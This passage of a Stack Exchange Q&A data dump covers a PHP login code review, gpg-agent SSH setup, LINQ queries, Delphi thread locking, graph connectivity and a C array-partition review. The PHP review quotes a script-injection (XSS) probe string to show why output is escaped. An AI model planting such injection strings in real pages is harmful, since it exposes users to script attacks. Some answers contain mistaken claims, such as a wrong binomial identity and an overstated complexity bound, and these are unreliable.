if($logout) {        $params = session_get_cookie_params();        setcookie(session_name(), '', 0, $params['path'], $params['domain'], $params['secure'], isset($params['httponly']));        setcookie('wcxadmin', '', time()-3600);        session_unset();        session_destroy();        header('Location: index.php');    }}else {    header('Location: index.php');  }?>"  , "title": "Admin section - Secure login and authentication"  , "tags": "php;pdo;authentication"  , "accepted_answer": "SecurityYou have a lot of things covered. You use prepared statements and only include files that are defined in a white-list, that's good. I just have these smaller points:don't store your password in the php source file, but in a configuration file (outside the web root). It's not too dangerous, but it's better to be save.action=<?php $_SERVER['PHP_SELF']; ?>: this would be vulnerable to XSS attacks if it were working. As you are not echoing, the action will always be . Either set the action to a hard-coded , or echo an escaped php self. Do not leave it as it is, in case someone will fix it.you are not filtering $_SESSION['errors'] when outputting it to the user. Right now, this is not a problem (it only contains a hard-coded string). But if you at some point change your code that this does depend on user input, this will cause problems (for example: You tried to access /cool-site/<script>alert('xss');</script>. We are sorry, but you do not have the right to access it. I would just filter it now to be sure.enable HttpOnly cookies (for your cookie as well as the session cookie). I would do this in the PHP code as well as in the server settings, because you newer know if others remember to set the server settings. This mitigates the risks of XSS (although there are still risks).Secure login and Do this without HTTPS: these do not go together. If you want to prevent man in the middle attacks, you will need HTTPS.(I didn't find anything else, but that doesn't mean that there is nothing else to find.)Apart from the security aspects, your code seems fine. Sometimes, the indentation is a bit of, and your HTML doesn't validate 100%, but I didn't see any major problems."  } 
{  "id": "_webmaster.21855"  , "question": "I would like to buy Google maps premier license. I tried to contact Google maps through their web site (online inquiry form). No one got back to me. I would appreciate if someone can help me with this."  , "title": "Google maps premier license"  , "tags": "google maps"  } 
{  "id": "_unix.250022"  , "question": "I have a Yubikey 4 and I want to use my GPG keys stored on this to authenticate to SSH servers.I want to use GitHub for a start. I have already added my GPG authentication key to GitHub.My problem is that when I ssh, my agent doesn't use this key. I've checked by trying to connect to my VPS with ssh -v but it skips my GPG key. My Yubikey is plugged in and gpg2 --card-status shows all the details. I am able to sign and decrypt fine as well as use the other features of the Yubikey.The ssh ouputdebug1: Authentications that can continue: publickeydebug1: Next authentication method: publickeydebug1: Trying private key: /home/wilhelm/.ssh/id_rsadebug1: Trying private key: /home/wilhelm/.ssh/id_dsadebug1: Trying private key: /home/wilhelm/.ssh/id_ecdsadebug1: Trying private key: /home/wilhelm/.ssh/id_ed25519debug1: No more authentication methods to try.Permission denied (publickey).I have disabled gnome password manager.I've looked at Connecting SSH and Git to gpg-agent and followed the suggestion, but it doesn't seem to be working. ssh-add -lCould not open a connection to your authentication agent. ps aux | grep gpg-agentwilhelm  26079  0.0  0.0  20268   980 ?        Ss   20:57   0:00 gpg-agent --daemon --enable-ssh-support --shwilhelm  31559  0.0  0.0  12724  2184 pts/1    S+   22:49   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn gpg-agent"  , "title": "gpg-agent instead of ssh-agent"  , "tags": "ssh;gpg;gpg agent"  , "accepted_answer": "ssh can't open connection to your gpg-agent if you will not give it the way to do so.When you start your gpg-agent with --enable-ssh-support option, it prints out environmental variables that needs to be available in the shell where from you will be using your ssh. There are few possibilities how to get them:Stop your gpg-agent and start it once more in like this in the shell where from you are using your ssh (this should be the easiest way to test it):eval $(gpg-agent --daemon --enable-ssh-support --sh)Find the location of authentication socket and set up the environment variable SSH_AUTH_SOCK by handLater on, when you will know that it works, you should set up the agent start according to the manual page for gpg-agent(1), so probably in ~/.xsession to let it start automatically."  } 
{  "id": "_softwareengineering.237273"  , "question": "I have a few projects that use various webservices e.g. DropBox, AWS. For managing private information I use bash_profile which works great with heroku that uses env variables to manages secret informations. The problem is my bash_profile is growing significantly (HEROKU_ADD_ON_1 HEROKU_ADD_ON_2 etc.) and it bit me today.What's the better way?"  , "title": "how do you manage api keys?"  , "tags": "configuration;environment;heroku"  } 
{  "id": "_webmaster.7958"  , "question": "Is this possible?A third party site is running my Drupal moduleAn end user clicks on a link which will:Open up a new window www.mysite.com/redirect.phpand POST certain data to this page www.mysite.com/redirect.phpI've seen the user's browser being redirected, but am not clear on how to do the above."  , "title": "Can I POST to a new window that I want to open up?"  , "tags": "html;redirects;drupal;post"  , "accepted_answer": "If you just want a link that opens a POST-requested page in a new window here are some ideas. However, be aware a POST request can't be bookmarked.You can make a button that opens a POST-requested page in a new window.<form method=post action=http://example.com/example.php  target=_blank><input type=hidden name=name1 value=value1><input type=hidden name=name2 value=value2><input type=submit value=Open results in a new window> </form>If you want it to look like a link, you can make a link with an onClick attribute that submits the form.<form name=myform method=post action=http://example.com/example.php  target=_blank><input type=hidden name=name1 value=value1><input type=hidden name=name2 value=value2></form><a href=http://example.com/example.php  onClick=document.forms['myform'].submit(); return false;>Open results  in a new window</a>The onClick part submits the form, which opens the POST-requested page in a new window. The return false prevents the browser from also going to the href address in the current window at the same time. If Javascript is disabled or the link is bookmarked, the href address is used as a fallback, but the resulting page won't receive any POST values. This might be confusing or unfriendly for your users if they bookmark the link.If you want the link to be bookmarkable, investigate if your page can accept GET parameters. If so, then you can make a bookmarkable link. <a href=http://example.com/example.php?name1=value1&name2=value2   target=_blank>Open results in a new window</a>"  } 
{  "id": "_codereview.106853"  , "question": "I'm using VB.Net, MVC 5, EF 6, and Linq.  I have a list of Integers (category attribute IDs).  I need to create a second list of String (values).  There will be one string for each integer.I am currently accomplishing my task like this:Function getValues(catAttIDs As List(Of Integer), itemID As Integer) As List(Of String)    Dim db As New Model1    Dim values = New List(Of String)    For i As Integer = 0 To catAttIDs.Count - 1        Dim catAttID = catAttIDs(i)        Dim currentValue = (From row In db.tblEquipment_Attributes                     Where row.Category_Attribute_Identifier = catAttID _                     And row.Unique_Item_ID = itemID                     Select row.Value).SingleOrDefault()        values.Add(currentValue)    Next    Return valuesEnd FunctionI have a strong feeling that there is a better way to do this, but I have not been able to find the information I'm looking for.I'm particularly interested in changing this code so that the database is called once for the list, instead of calling the database 5 or 6 times as I work my way through the list."  , "title": "Retrieving a list, by iterating through a list"  , "tags": "linq;vb.net"  , "accepted_answer": "You're looking for the LINQ-equivalent of an IN clause in SQL. So something like this:SELECT value FROM tblEquipment_Attributes WHERE Category_Attribute_Identifier IN (<list of integers>) AND Unique_Item_ID = itemID;So what you could do is write your LINQ statement to see if the Category_Attribute_Identifier is in the list. Then your function will look something like this:Function getValues(catAttIDs As List(Of Integer), itemID As Integer) As List(Of String)    Dim db As New Model1    Dim currentValues as List(Of String) = (From row In db.tblEquipment_Attributes                     Where catAttIDs.Contains(row.Category_Attribute_Identifier) _                     And row.Unique_Item_ID = itemID                     Select row.Value).ToList()    Return currentValuesEnd FunctionNote that ToList will create a List<T>, where T is the type of the elements. As long as Value in your db is a varchar, it'll be a List."  } 
{  "id": "_codereview.33427"  , "question": "I wrote an FAQ on a third-party website which pertains to thread-protecting objects in Delphi. What I'd like to know is if this thread-protection approach is accurate, or if I should change anything about it. I don't intend to ask about the FAQ in general, just the aim at the actual topic of multi-threading.This code comes from common practices of mine, and I'm starting to wonder if these practices are good or bad. I've used this TLocker object for a long time, and would like to know if there's anything wrong with any of this approach.The FAQ content:There are many ways to thread-protect objects, but this is the most commonly used method. The reason you need to thread-protect objects in general is because if you have more than one thread which needs to interact with the same object, you need to prevent a deadlock from occuring. Deadlocks cause applications to freeze and lock up. In general, a deadlock is when two different threads try to access the same block of memory at the same time, each one keeps repeatedly blocking the other one, and it becomes a back and forth fight over access.Protection of any object(s) begins with the creation of a Critical Section. In Delphi, this is TRTLCriticalSection in the Windows unit. A Critical Section can be used as a lock around virtually anything, which when locked, no other threads are able to access it until it's unlocked. This ensures that only one thread is able to access that block of memory at a time, all other threads are blocked out until it's unlocked.It's basically like a phone booth with a line of people waiting outside. The phone its self is the object you need to protect, the phone booth is the thread protection, and the door is the critical section. While one person is using the phone with the door closed, the line of people has to wait. Once that person is done, they open the door and leave and the next comes in and closes the door. If someone tried to get in the phone booth while someone's using the phone, well, it's obvious that would lead to a fight. That fight would be a deadlock.It is still a risk to cause a deadlock even when using this method, for example, someone trying to use the phone when someone else is using it. If for any reason a thread attempts to access the object without locking it, and while another thread is accessing it, you will still run into issues. So, you need to use this protection EVERYWHERE that could possibly need to access it. Remember, when you lock this, nothing else is able to lock it again (under the promise that all other attempts would also be using this same Critical Section). The locking thread must unlock it before it can be locked again.Okay, so into the code. The four calls you will need to know are:InitializeCriticalSection() - Creates an instance of a Critical SectionEnterCriticalSection() - Engages the lockLeaveCriticalSection() - Releases the lock DeleteCriticalSection() - Destroys an instance of a Critical SectionFirst, you need to declare a Critical Section somewhere. It's usually something that would be instantiated for the entire duration of the application, so I'll assume in the main form.  TForm1 = class(TForm)  private    FLock: TRTLCriticalSection;Then, you need to initialize (create) your critical section (presumably in your form's constructor or create event)...InitializeCriticalSection(FLock);Now you're ready to use it as a lock. When you need to access the object it's protecting, you enter the critical section (locking it)...EnterCriticalSection(FLock);Once you have done this, it is locked. No other thread other than the calling thread is able to access this lock. Remember, technically other threads are able to access the object (but would potentially cause a deadlock), so make sure all other threads are also first trying to lock it. That's the goal of this lock.Once you have done everything you need in this thread, you leave the critical section (unlocking it)...LeaveCriticalSection(FLock);Now, it is unlocked and the next thread which may have attempted a lock is now able to completely lock it. That's right, while a critical section is locked, it remembers any other lock attempt, and once the calling thread unlocks it, the next one in the queue automatically acquires this lock. Same concept as a line of people waiting outside a phone booth.When you're all finished with the object, make sure you dispose of this critical section (presumably in your form's destructor or destroy event)...DeleteCriticalSection(FLock);And those are the fundamentals. But we're not done yet.It's highly advised that you should always use a try..finally block when entering/leaving a critical section. This is to ensure that it gets unlocked, in case of any unhandled exceptions. So, your code should look something like this:EnterCriticalSection(FLock);try  DoSomethingWithTheProtectedObject;finally  LeaveCriticalSection(FLock);end;Now, the last thing you may wish to do is wrap this up in a nice simple class to do the work for you. This way, you don't have to worry about all the long procedure names whenever you use this lock. This object is called TLocker, which protects an object instance for you. You would need to create an instance of this for every object instance you need to protect. So, instead of declaring something like FMyObject: TMyObject; you would do it like FMyObject: TLocker; and then give the object instance to it upon its creation.type  TObjectClass = class of TObject;  TLocker = class(TObject)  private    FLock: TRTLCriticalSection;    FObject: TObject;  public    constructor Create(AObjectClass: TObjectClass); overload;    constructor Create(AObject: TObject); overload;    destructor Destroy;    function Lock: TObject;    procedure Unlock;  end;constructor TLocker.Create(AObjectClass: TObjectClass);begin  InitializeCriticalSection(FLock);  FObject:= AObjectClass.Create;end;constructor TLocker.Create(AObject: TObject);begin  InitializeCriticalSection(FLock);  FObject:= AObject;end;destructor TLocker.Destroy;begin  FObject.Free;  DeleteCriticalSection(FLock);end;function TLocker.Lock: TObject;begin  EnterCriticalSection(FLock);  Result:= FObject; //Note how this is called AFTER the lock is engagedend;procedure TLocker.Unlock;begin  LeaveCriticalSection(FLock);end;The first constructor TLocker.Create(AObjectClass: TObjectClass); expects a class type to be specified (such as TMyObject).The other constructor TLocker.Create(AObject: TObject); expects an instance of an object already created. Bear in mind that if you do use this constructor, you should no longer refer directly to that object after passing it into this constructor.In both of these cases, your object which is being protected will be automatically free'd when the TLocker is free'd. Let's assume the second constructor of the two. Once you've created an instance of this class with your initial actual object reference, never reference to the actual object again. Instead, whenever you need to use that object, pull it out of the TLocker instance by locking it. Using a try..finally block, make sure you also unlock it once you're done, or else the lock is stuck.So, using the class above, you can access an object like this:procedure TForm1.FormCreate(Sender: TObject);var  O: TMyObject;begin  O:= TMyObject.Create;  FMyObjectLocker:= TLocker.Create(O);end;procedure TForm1.FormDestroy(Sender: TObject);begin  FMyObjectLocker.Free; //Your original object will be free'd automaticallyend;procedure TForm1.DoSomething;var  O: TMyObject;begin  O:= TMyObject(FMyObjectLocker.Lock);  try    O.DoSomething;    //etc...  finally    FMyObjectLocker.Unlock;  end;end;As you see, I acquire the object at the same time as locking it. This should be the only possible way to access this object. Just make sure you always unlock it when you're done. Notice also how I also don't define the actual protected object in the class - to prevent accidental direct calls to the object."  , "title": "Is this the right way to thread-protect an object?"  , "tags": "multithreading;thread safety;delphi"  } 
{  "id": "_softwareengineering.173452"  , "question": "I am having a mobile app created for ios. The developers built the app in php. The app requires an algorithm so I found another programmer to develop it. The algorithm programmer built the algorithm in python. The developers refuse to finish the app because they say it won't work with python, while the programmer insist it will. The programmer says put the algorithm in its on server and connect then over http. Will this work and I'd so how risky is it to future problems? "  , "title": "Can python and php work together?"  , "tags": "php;python;ios;iphone;app"  } 
{  "id": "_unix.304890"  , "question": "Updating my Linux server is mostly a stressed part for me. Like today. With yum update i see a new version of NodeJS, but from what i can remember nodejs has been used by a program which needs to be carefully altered.So i thought, there should be a command how to find out which program is using NodeJS, but unfortunately I can't find such command.Is there a yum command which tells me who is using NodeJS on my system? So i can check if it is ok to update? "  , "title": "Which program uses which package?"  , "tags": "files;yum;monitoring;dependencies"  } 
{  "id": "_softwareengineering.302363"  , "question": "I've been writing a program to pick random words from my list. However, to do that I had to imitate some solutions on the internet, and I succeeded. Unfortunately, there is something that I can't understand in my work.def repeat(pic_word, n):    for i in range(n):        pic_word()My question is what is the meaning of i in for i in range? "  , "title": "What i and n stand for in python?"  , "tags": "python;python 3.x;ironpython"  } 
{  "id": "_unix.247587"  , "question": "I can boot from USB drive to Kali Linux, but when I reboot the system, all previous updates and files saved just vanish.I have done almost everything the Kali Linux official documents tell me to do, except that after I dd the ISO to my USB drive, I used the parted command to create a new partition named 'work' and created the persistence.conf file in my Ubuntu system, instead of rebooting into Kali Linux live from the USB drive to create the partition and so on.While I searched the Internet for things like Kali Linux live boot from USB, I encountered many tutorials for installing Kali Linux live usb. These tutorials provide quite similar instructions as the official documents.I also noticed this question (Kali Linux live usb persistance) on Unix&Linux. I don't quite understand this --that partition will be 'merged' with / as specified in persistence.conf.Please help me sort things out.EDIT 1:I made a post(at #2) at Kali Linux Forums yesterday to describe my problem in more detail. "  , "title": "Kali Linux 2.0 live USB updates not working"  , "tags": "kali linux;live usb;persistence"  } 
{  "id": "_codereview.156965"  , "question": "I have an assignment to create a method to retrieve the proper day of the week for any given date, without using the Java calendar.  After countless hours of trying to implement the algorithm in the outline, I've finally finished it and it appears to work! I feel like it's really sloppy. Any tips on how to clean it up or remove any dead code you see?Here's the algorithm I had to implement:Only look at the last two digits of the year and determine how many 12s fit in itLook at the remainder of this divisionHow many 4s fit into that remainderAdd the day of the monthAdd the month code:Jan = 1Feb = 4Mar = 4Apr = 0May = 2Jun = 5Jul = 0Aug = 3Sep = 6Oct = 1Nov = 4Dec = 6Add your numbers, then mod by 7Some dates require special offsets:January and February dates in leap years: subtract 1 from step 5Dates in the 1600s: add 6 to step 5Dates in the 1700s: add 4 to step 5Dates in the 1800s: add 2 to step 5Dates in the 2000s: add 6 to step 5Dates in the 2100s: add 4 to step 5public String getDayOfTheWeek(){    int shortYear = yearNumber %  ONE_HUND_MOD;     /* gives the last two digits of the four digit year */    int anotherShortYear = yearNumber % ONE_HUND_MOD;     /* gives the last two digits of the four digit year to another variable */    int twelvesFirstStep = (shortYear / TWELVE_DIVIDE);     /* gives the number of 12s that fit in the last two digits of the year(step1) */    int secondStepRemainder = anotherShortYear % TWELVE;    /* gives the remainder of whats left from dividing the last        two digits of year by 12(step 2) */    int thirdStepRemainder = secondStepRemainder / FOUR;    /* gives the division by 4 of the remainder of the previous step (step 3) */    int numericalDay = 0;    int temp = twelvesFirstStep + secondStepRemainder +        thirdStepRemainder + dayNumber +getMonthCode(); // all variables combined     if (monthNumber ==JANUARY ||          monthNumber == FEBRUARY && isLeapYear() == true)    {        temp--;    }    else    {        temp = temp;    }    if (yearNumber >= CENTURY_SIXTEEN && yearNumber < CENTURY_SEVENTEEN                 || yearNumber >= CENTURY_TWENTY && yearNumber < CENTURY_TWENTY_ONE)    {        numericalDay = (SIX+temp) % MOD_BY_SEVEN;    }    else if(yearNumber >=CENTURY_SEVENTEEN && yearNumber < CENTURY_EIGHTEEN                 || yearNumber >= CENTURY_TWENTY_ONE && yearNumber <CENTURY_TWENTY_TWO)    {        numericalDay = (FOUR+temp) % MOD_BY_SEVEN;    }    else if(yearNumber >=CENTURY_EIGHTEEN && yearNumber < CENTURY_NINETEEN)    {        numericalDay =(TWO+temp) % MOD_BY_SEVEN;    }    else    {        numericalDay = temp % MOD_BY_SEVEN;    }    if(numericalDay == TRANSLATED_DAY_SAT)    {        return SATURDAY_STRING;    }    else if(numericalDay == TRANSLATED_DAY_SUN)    {        return SUNDAY_STRING;    }    else if(numericalDay ==TRANSLATED_DAY_MON)    {        return MONDAY_STRING;    }    else if(numericalDay == TRANSLATED_DAY_TUES)    {        return TUESDAY_STRING;    }    else if(numericalDay == TRANSLATED_DAY_WED)    {        return WEDNSEDAY_STRING;    }    else if(numericalDay ==TRANSLATED_DAY_THU)    {        return THURSDAY_STRING;    }    else    {        return FRIDAY_STRING;    }}"  , "title": "getDayOfTheWeek function, without using built-in date libraries"  , "tags": "java;datetime;homework"  } 
{  "id": "_unix.141362"  , "question": "I'm looking to disable USB via the kernel for a high-performance server.How can I effectively administer the server, if problems occurs if USB isn't enabled? Without USB, keyboards and mice devices won't be able to function. I could do it through ILO through the network but I have the possibility of the NIC failing on me or the IP address changing via DHCP. Are there best practices on this?"  , "title": "How can I administer a server if USB disabled?"  , "tags": "usb;administration"  , "accepted_answer": "Typically you can set the BIOS to handle USB support, which will work with whatever boot-loader from there. At that point you can have a separate image available to load with USB support for those times that everything goes to pot. This may not work as some USB devices aren't supported by some boot-loaders.Two notes:1) I haven't tried this, though the theory should be sound (the crowd can shoot me down if I'm not.2) I'm also not sure that the USB module is that heavy. You could JUST leave in the specific model you have to make it lighter and still have a keyboard available."  } 
{  "id": "_webmaster.53572"  , "question": "Similar to question posted here (but not related to sub directories):.htaccess redirect of domain name alias to main domain but must show up as the alias domainI am trying to direct traffic from an alias domain I have to my site that is on the same server, while also keeping the alias domain in the browser address bar.  This is my original htaccess content which correctly redirects the user, but xyz.com appears in the browser which I do not want.rewritecond %{HTTP_HOST} ^(www\\.)?abc\\.com$ [NC]rewriterule ^ http://xyz.com/?foo [R=301,QSA,L]This is my attempt to not only bring abc.com visitors to xyz.com but also have abc.com appear in the browser. This doesn't even load the site. Any ideas on a fix? rewritecond %{HTTP_HOST} ^(www\\.)?abc\\.com$RewriteRule ^$ /index.html [L]"  , "title": "Require domain alias to show in browser address bar"  , "tags": "domains;htaccess;apache;redirects;url rewriting"  } 
{  "id": "_unix.218375"  , "question": "I'm trying to configure alpm to max_perfomance on my system disk, medium_power on my data disks and min_power for backup disks. I tried various variations in tuned.conf but the result is that the last setting is set for all my disks.My tuned.conf file goes like this:[systemdisk]devices=sdbtype=diskalpm=max_performance[datadisk]devices=sda, sdd,!sdbtype=diskalpm=medium_power[backupdisk]type=diskdevices=sdc, sdealpm=min_powerand the result is that all my disks are set to min_power. If I comment the [backupdisk] section, all my disks are set to medium_power. How can I configure different alpm values for different disks?"  , "title": "tuned on fedora 22 - setting different alpm policies for specific devices"  , "tags": "linux;fedora;power management;tuned"  , "accepted_answer": "I got an official reply to the bug I opened:https://bugzilla.redhat.com/show_bug.cgi?id=1246992Unfortunately, the reply is that setting different alpm policies for different devices is not supported. It may be supported in the future for devices on different controllers, but not as a specific setting for different drives."  } 
{  "id": "_unix.25361"  , "question": "Why is a signed integer used to represent timestamps? There is a clearly defined start at 1970 that's represented as 0, so why would we need numbers before that? Are negative timestamps used anywhere?"  , "title": "Why does Unix store timestamps in a signed integer?"  , "tags": "timestamps"  , "accepted_answer": "Early versions of C didn't have unsigned integers.  (Some programmers used pointers when they needed unsigned arithmetic.)  I don't know which came first, the time() function or unsigned types, but I suspect the representation was established before unsigned types were universally available.  And 2038 was far enough in the future that it probably wasn't worth worrying about.  I doubt that many people thought Unix would still exist by then.Another advantage of a signed time_t is that extending it to 64 bits (which is already happening on some systems) lets you represent times several hundred billion years into the future without losing the ability to represent times before 1970.  (That's why I oppose switching to a 32-bit unsigned time_t; we have enough time to transition to 64 bits.)"  } 
{  "id": "_codereview.161522"  , "question": "Since I am new to R, I have pulled this code together in kind of a rag-tag way, but I am wondering, is there something similar to list comprehensions (in Python) I can use in R to make this simpler? Or a better way of doing this? I am trying to fetch the total amount of reputation a user has accumulated on Stack Exchange.  I am ideally looking for a way to remove the for loop and use the sum function on a subset of items (from the API response).library(httr)s = 0for(i in content(GET(paste(http://api.stackexchange.com/users/,readline(),/associated,sep=)))$items) {  q=i$reputation  if (q>101)     s=s+q}print(s)Sample input would be a user's id, like 10400443."  , "title": "Fetching the total amount of SE reputation accumulated"  , "tags": "r;stackexchange"  , "accepted_answer": "R does not offer list comprehensions like Python, but a similar thing called the apply family of functions. In addition, there is packages called purrr that offers similar functionality with a more user-friendly interface. Below is an example how to compute the sum using these tools.library('httr')user_url <- paste0(http://api.stackexchange.com/users/, readline(), /associated)dat <- content(GET(user_url))$itemssum(vapply(dat, function(x) ifelse(x$reputation > 101, x$reputation, 0), 1))library('purrr')sum(map_dbl(dat, ~ifelse(.x$reputation > 101, .x$reputation, 0)))"  } 
{  "id": "_cs.7373"  , "question": "Possible Duplicate:Every simple undirected graph with more than $(n-1)(n-2)/2$ edges is connected At lesson my teacher said that a graph with $n$ vertices to be certainly connected should have$ {\\frac{n(n-1)}{2}+1 \\space }$ edges showing that (the follow is taken from the web but says the same thing):The non-connected graph on n vertices with the most edges is a complete graph on   $n-1$ vertices and one isolated vertex. So you must have $ 1+{\\frac{n(n-1)}{2} \\space}$ edges to guarantee connectedness. My idea: a complete graph $K_{n-1}$ with $n-1$ vertices has ${n-1 \\choose 2}$edges,  so ${\\frac{(n-1)*(n-2)}{2}}$ edges, added to the edge to connect the complete graph to the isolate vertex,so shouldn't be ${\\frac{(n-1)*(n-2)}{2}}+1$ edges?What am I doing wrong?Thanks."  , "title": "How many edges must a graph with N vertices have in order to guarantee that it is connected?"  , "tags": "graph theory;graphs"  , "accepted_answer": "Don't know why I didn't just give an answer, rather than a comment, but for posterity:Your reasoning is correct, the $n$ vertex graph with the maximal number of edges that is still disconnected is a $K_{n-1}$ with an additional isolated vertex. Hence, as you correctly calculate, there are $\\binom{n}{2} = \\frac{(n-1)(n-2)}{2}$ edges.Adding any possible edge must connect the graph, so the minimum number of edges needed to guarantee connectivity for an $n$ vertex graph is $\\frac{(n-1)(n-2)}{2}+1$.Contrary to what your teacher thinks, it's not possible for a simple, undirected graph to even have $\\frac{n(n-1)}{2}+1$ edges (there can only be at most $\\binom{n}{2} = \\frac{n(n-1)}{2}$ edges).The meta-lesson is that teachers can also make mistakes, or worse, be lazy and copy things from a website.For an extension exercise if you want to show off when you tell the teacher they're wrong, how many edges do you need to guarantee connectivity (and what's the maximum number of edges) in aSimple, directed graph?A directed graph that allows self loops?"  } 
{  "id": "_softwareengineering.294410"  , "question": "I have a Node.js Express RESTful HTTP server I will call server A and an Express socket.io server I will call server B.Server A responds to all HTTP requests by clients and server B listens to the MongoDB oplog and sends database updates currently to all clients.I don't want to send all DB updates to all the clients -I want to optimize the system so that server B and the connected clients experience less load by partitioning server B so that only certain/relevant DB updates are sent to certain clients...In this way server B could send just a fraction of the messages it would have before, and each client wouldn't have to handle all the updates.I have read a little bit about socket.io rooms and how clients can join a namespace.In the past I have appended the user id to all MongoDB collections that pertain to a certain user, so I could have each client join the namespace denoted by their user id. This might mean that each client only gets the updates corresponding to their namespace on the server + a few universal updates that pertain to all users.My question is how to best design this so that all users get the updates they need while minimizing the load on the server and the clients.Does anyone have any advice on how to best do this with MongoDB, the MongoDB oplog and a separate socket.io server?"  , "title": "Design pattern for socket.io and Express"  , "tags": "node.js;http;sockets;websockets"  } 
{  "id": "_bioinformatics.230"  , "question": "As enrichment analysis a usual step is to infer the pathways enriched in a list of genes. However I can't find a discussion about which database is better. Two of the most popular (in my particular environment) are Reactome and KEGG (Maybe because there are tools using them in Bioconductor).KEGG requires a subscription for ftp access, and for my research I would need to download huge amounts of KGML files I am now leaning towards ReactomeWhich is the one with more genes associated to pathways ? Which is more completely annotated ?Is there any paper comparing them ? "  , "title": "What are the advantages and disadvantages between using KEGG or Reactome?"  , "tags": "database"  , "accepted_answer": "One big downside of KEGG is the licensing issue. One big advantage of Reacome are various crosslinks to other databases and data.ad 1, This depends on which pathway, they are both primary databases. Sometimes other databases that for instance combine data of primary databases have better annotation of pathways (there is an example in the review paper bellow)ad 3, There is very extensive relatively new (2015) review on this topic focused on human pathways: Comparison of human cell signaling pathway databasesevolution, drawbacks and challenges. However I could not find there which one is more complete ..."  } 
{  "id": "_cs.48899"  , "question": "I am thinking of the classical paper, https://www.cs.sfu.ca/~kabanets/Research/poly.htmlCan someome link to some papers/reviews that give a sampling of what are the recent thoughts in this direction? I am equally happy to know of what are the recent directions in the topic of pseudorandomness and derandomization. "  , "title": "What are the recent research directions in the topic of circuit lower bounds from derandomization?"  , "tags": "reference request;circuits;randomness;pseudo random generators"  } 
{  "id": "_vi.6777"  , "question": "I have the ruler shown, but as soon as I drop into insert mode, it disappears and reappears upon entering normal mode. This is very annoying when trying to insert a certain number of spaces to have the cursor at column x.MacVim shows no such behaviour.How can I show the ruler in insert mode?"  , "title": "Why is ruler not shown in insert mode?"  , "tags": "insert mode;normal mode"  } 
{  "id": "_unix.74385"  , "question": "I use the highlight mode in vim to copy a few characters.  I then want to paste more than once.  My current technique does not work well.Sample text: Linux Solaris Irix HP-UXSuppose I want to copy the word Linux, then paste over Solaris and Irix.Place cursor at L in LinuxCommand v (for visual hilite), then e (for end-of-word), then y (for yank/copy)Now Linux is on my vim clipboardMove cursor to S in Solaris (first instance)Command v (for visual hilite), then e (for end-of-word), then p (for paste)Text is now: Linux Linux Irix HP-UX, but now Solaris is on my vim clipboardMove cursor to I in Irix (second instance)Command v (for visual hilite), then e (for end-of-word), then p (for paste)Text is now: Linux Linux Solaris HP-UX which is not what I expected.I resort to using highlite/paste with the mouse (via X Terminal).  Surely, I can do this better.  How?"  , "title": "Vim: copy, then paste more than once"  , "tags": "vim"  } 
{  "id": "_codereview.79569"  , "question": "Last weekend my teacher asked me to create code to solve a problem:Giving a dynamic array, we want to pass the array elements from a file. The first number in the file N gives us the array length. They follow N numbers, the actual elements of the array. Three brothers are going to work in the shop of their father for a time. The shop is doing well and every day generates profit which the three brothers may provide. The brothers agreed that they would divide the total time in three successive parts, not necessarily equal duration, and that each one will be working in the shop during one of these parts and collects the corresponding profit on his behalf. But they want to make a deal fairly, so that one received from three more profit someone else. Specifically, they want to minimize the profit the most favored of the three will receive.Now assume that we have the following array elements:5 6 1 4 9 3 1 2The procedure we should make appears in the following diagram:We want every time to keep the lowest value of weight and in the end to generate a result.I created the code and it works for all inputs. Is there any way to reduce the complexity from \\$\\mathcal{O}(n^3)\\$ to  \\$\\mathcal{O}(N)\\$ if we can keep in mind that this isn't tidied up and probably needs to be.#include <stdio.h>#include <stdlib.h>#include <limits.h>int sum_array(int* array, int cnt){    int res = 0;    int i;    for ( i = 0; i < cnt ; ++i)        res += array[i];    return res;}int main(){    FILE* input = fopen(share.in,r);    int N = 0;    fscanf(input,%d,&N);    int *array = (int*)malloc(N * sizeof(int));    for (int i = 0; i < N; i++)        fscanf(input,%d,&array[i]);    fclose(input);    int Min = 0;    int bestA = 0, bestB = 0, bestMin = INT_MAX;    int A, B;    int i;    for ( A = 0; A < N - 2; ++A)    {        for ( B = A + 1; B < N - 1; ++B)        {            int ProfitA = sum_array(array, A + 1);            int ProfitB = sum_array(array + A + 1, B - A );            int ProfitC = sum_array(array + B + 1, N - 1 - B );            //here the values are current - valid            Min = (ProfitA > ProfitB) ? ProfitA : ProfitB;            Min = (ProfitC > Min) ? ProfitC : Min;            if( Min < bestMin )                bestA = A, bestB = B, bestMin = Min;        }    }    printf(%d\\n, bestMin);    free(array);    return 0;}"  , "title": "Reading, processing and counting an array setting limits"  , "tags": "algorithm;c;mathematics;dynamic programming"  , "accepted_answer": "Here are some things that may help you improve your code.Eliminate unused variablesWithin main, the variables i, BestA and BestB are declared and some of them set, but they are otherwise unused.  They should be omitted from the program.Don't abuse the comma operatorThis line doesn't really need a comma operator:bestA = A, bestB = B, bestMin = Min;It should instead be three separate statements, or (if you follow the previous advice) reduced to a single one involving bestMin.Don't cast the return from mallocThe return value from malloc or calloc is a void * and does not need an explicit cast.  See this question for a thorough discussion of the reasons not to, but for me the most compelling reason is that it's simply not needed.Use const where practicalIn your sum_array routine, the values in the array are never altered, which is just as it should be.  You should indicate that fact by declaring it like this:int sum_array(const int* array, int cnt)Use pointers rather than indexing for speedPointers are generally a faster way to access elements than using index variables.  Speed may not a particular goal in this program but it's useful to know anyway.  For example, your sum_array routine could be written like this:int sum_array(const int* array, int cnt){    int res;    for ( res = 0; cnt; --cnt)        res += *array++;    return res;}Check return values for errorsThe calls fopen, fscanf and malloc can each fail.  You must check the return values to make sure they haven't or your program may crash (or worse) when given malformed input or due to low system resources.  Rigorous error handling is the difference between mostly working versus bug-free software.  You should strive for the latter.Consider separating I/O from the algorithmThe I/O is done first, and then the input values are processed to find the answer.  Consider separating those into to separate functions which would both make your program cleaner and also allow for better automated testing (such as automatically generating random values and then checking that the algorithm does the right things).Reconsider your algorithmRight now, the sums are recalculated many times, but this isn't strictly necessary. As you iterate through the combinations, the partitioning only moves by one value.  So what you could do instead would be to keep the three sums ProfitA, ProfitB and ProfitC and then just add and subtract the particular value that moves from one brother to another.I've done some reading and it appears to me that the best you can do for complexity is \\$\\mathcal{O}(N^3)\\$See this question and the many links from it to explain that.Think about negative numbersWhile the problem states that the shop generates profit each day, it doesn't necesarily mean that every time period is profitable.  This suggests that some of the time periods could be associated with negative numbers.  If we use this input:8-5 6 1 4 -9 3 1 2the program reports a max value of 1, which is correct, but you should verify that it is correct for any possible set of numbers. Consider adding an early bailoutIf it ever occurs 